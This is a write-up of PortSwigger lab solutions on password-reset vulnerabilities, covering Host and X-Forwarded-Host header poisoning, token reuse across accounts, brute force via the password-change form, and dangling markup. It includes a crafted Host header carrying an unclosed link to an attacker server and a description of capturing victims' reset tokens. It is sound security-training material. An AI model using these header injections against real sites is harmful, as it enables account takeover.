Intro
This post/writeup is all about the Authentication vulnerabilities or Broken Authentication if we follow OWASP naming scheme.
I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.
This post is all about vulnerable password reset implementations which can bypass authentication completely or allow the attacker to bypass other security implementations
TOC
- Intro
- Basic password reset poisoning - (Host Header)
- Password reset broken logic
- Password reset poisoning via middleware - (X-Forwarded-For Header)
- Password brute-force via password change
- Password reset poisoning via dangling markup
Basic password reset poisoning - (Host Header)
This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos’s account.
You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.
Enumeration - Password Reset
Password Reset functionality on the front-end is just like any other:
In the request we can notice CSRF token and that we can request it for any user basically, but that is by itself not an issue, as email should be sent to users account.
Exploitation - Password Account
If we however change the Host HTTP Header to our own Exploit Server: exploit-0ab000a60403a23bc0663c42014a00e6.web-security-academy.net/exploit, then Email would still be sent:
And if we check the logs, we can find the request with the token code right there in the middle:
If i now open the link https://0a110040049ca2b2c06b3c6d0058002b.web-security-academy.net/forgot-password?temp-forgot-password-token=bsWHQe5G70EQyDdmK29IbyvrK4SxZ1Cm i can set password for carlos.
Lab has been solved:
Password reset broken logic
This lab’s password reset functionality is vulnerable. To solve the lab, reset Carlos’s password then log in and access his “My account” page.
Your credentials: wiener:peter
Victim’s username: carlos
Enumerating Password Reset mechanismus
First of all let’s just reset password for wiener. For this we need an email address which is provided by the Lab
In password-reset we can either enter username or email. Let’s go for an username:
Email comes with a reset link:
1
https://0ac0003d04636429c0420e00000f00c7.web-security-academy.net/forgot-password?temp-forgot-password-token=6MusLEc8VCPVmUsE3mEMxZ3dRDm9q4VL
If i ask for another password-reset token, it changes
1
https://0ac0003d04636429c0420e00000f00c7.web-security-academy.net/forgot-password?temp-forgot-password-token=FcIwW5uTrJCBE9IUbYymI84dYN3SeOsN
If we click on it, we get to the page to enter a new password.
If we enter a new password, this is a request that is issued to a backend
The question now arises, can we swap the username with carlos using token that was issued for wiener?
Exploiting Password Reset Mechanismus
If we simply reuse the previous token that was sent to wiener and swap the user with carlos, it appears that it’s actually working
We can login now with carlos:peter
Token should only be used once and by any means, it should not work for other users that have not requested it.
Password reset poisoning via middleware - (X-Forwarded-For Header)
This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos’s account. You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.
Finding and exploiting the vulnerability
If we ask for password we get same looking link as in previous lab:
1
https://0adc000d03b93ab9c019658300c800ce.web-security-academy.net/forgot-password?temp-forgot-password-token=Jdno4Z4KTNZHn7cLI1nHytyLFtrGp2Ha
And request does not ask us for a username
Problem here is actually in middleware and this lab is all about that. If we enter X-Forwarded-Host header, the link sent will actually get tampered with and swapped with our own host. Let’s verify that:
And checking the access log on our exploit server, we can see that request is there:
We can change the password if we follow the link
… and login using same password:
More on that topic can be found at Portswigger Reset Password. It all comes down, how the web application crates the token and what its security measures are. As always, it’s always dangerous to use user generated input.
Password brute-force via password change
This lab’s password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos’s account and access his “My account” page.
Your credentials: wiener:peter
Victim’s username: carlos
Brute-Force via password change exploitation
If we login, we have this form to update password:
… and this is how request looks like in Burp:
If we enter wrong password 2 times, account locks for 1 minute!
If we enter wrong password AND two different new passwords, we get another error message:
Current password is incorrect!
Now let’s brute-force using intruder!
So get another response that new passwords do not match, meaning we’ve found the current password = jordan.
Lab has been solved.
Password reset poisoning via dangling markup
This lab is vulnerable to password reset poisoning via dangling markup. To solve the lab, log in to Carlos’s account.
You can log in to your own account using the following credentials:
wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.
Reference: Dangling markup injection
Enumeration
When we reset a password for our wiener user, we’d get an Email looking like this
This is the raw Email found at /email, and there appears to be no sanitization.
1
2
3
4
5
6
Sent: 2022-10-04 10:54:27 +0000
From: no-reply@0ac100e703e228b2c0f54f3d00170041.web-security-academy.net
To: wiener@exploit-0a610053038828f2c0684ff0010e0010.web-security-academy.net
Subject: Account recovery
<p>Hello!</p><p>Please <a href='https://0ac100e703e228b2c0f54f3d00170041.web-security-academy.net/login'>click here</a> to login with your new password: bUzAvNKZqV</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
Another thing to note here is that we recieve a new password per email and not just Change password link!
The email above will also be our injection point for partially XSS. Idea of this Dangling attack is to poison HTML, like with XSS, by using tag like (img, a,…) pointing it to our controlled server and leaving the tag open (not closing Tags).
If we send Host with a header like this:
1
2
POST /forgot-password HTTP/1.1
Host: 0a4c00770427c3cdc0b732ee006d00b7.web-security-academy.net:'<a href="exploit-0a100050044cc386c015325d01860069.web-security-academy.net/?
Exploitation
If we do that and we know that carlos accesses the same Email client then we should now find the request in the access logs.
So there we have two requests from different IP. One is for wiener and other one is for carlos.
After ending this Lab, i wasn’t sure when this really would be exploitable. I’d say somewhere between finding XSS and not being able to leverage it, Dangling using HTTP Headers might be something to consider!